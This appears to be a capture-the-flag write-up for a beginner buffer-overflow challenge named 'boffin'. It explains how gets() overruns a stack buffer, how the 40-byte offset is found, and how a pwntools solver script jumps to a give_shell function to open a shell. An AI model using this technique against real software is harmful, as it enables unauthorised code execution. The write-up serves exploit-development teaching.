boffin
Buffer overflow challenge.
2 min read
[ + ]Overview
Taking a quick look after running the binary, we are prompted with a single question, then the program exits:
Here are the protections on the binary:
RELRO
Partial RELRO
STACK CANARY
No canary found
NX
NX enabled
PIE
No PIE
SELFRANDO
No Selfrando
Luckily, the binary protections are in our favour.
Let's throw it in IDA to get a better look at what's going on.
[ + ]Reversing
Taking a look at the disassembly, we can quickly see the problem here. An array of size 0x20
is allocated on the stack, and gets
is called feeding our input directly into the array without limitation on size.
[ + ]Pwning
To get started, we open this up in gdb
to find the offset to overflow to.
After supplying a cyclical pattern string as input, we can check for the offset of the value at rsp
as this is the address that will be called after the epilogue.
Last thing so determine is the address to jump to. After quickly checking the procedural linkage table, we see that system@plt
is there. This is an indication that it is used somewhere in the binary.
Using IDA's xref feature we can quickly look for references.
Sweet, we are given a shell without needing a ROP chain.
Now all we need to do is overflow by 40 bytes, then put our address after.
buf = b"A" * 40 + p64(0x000000000040069D)
We can see bellow that at the return call, we are about to jump into give_shell
.
And that's all! A beginner buffer overflow challenge to get warmed up.
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'
# Main vars
NETID = ''
HOST, PORT = '', 1337
def pwn():
conn = process(['/tmp/lima/boffin/boffin'])
log.info(str(conn.pid))
pause()
conn.recvuntil(b'Hey! What\'s your name?')
buf = b"A" * 40 + p64(0x000000000040069D)
conn.send(buf + b"\n")
conn.interactive()
if __name__ == "__main__":
pwn()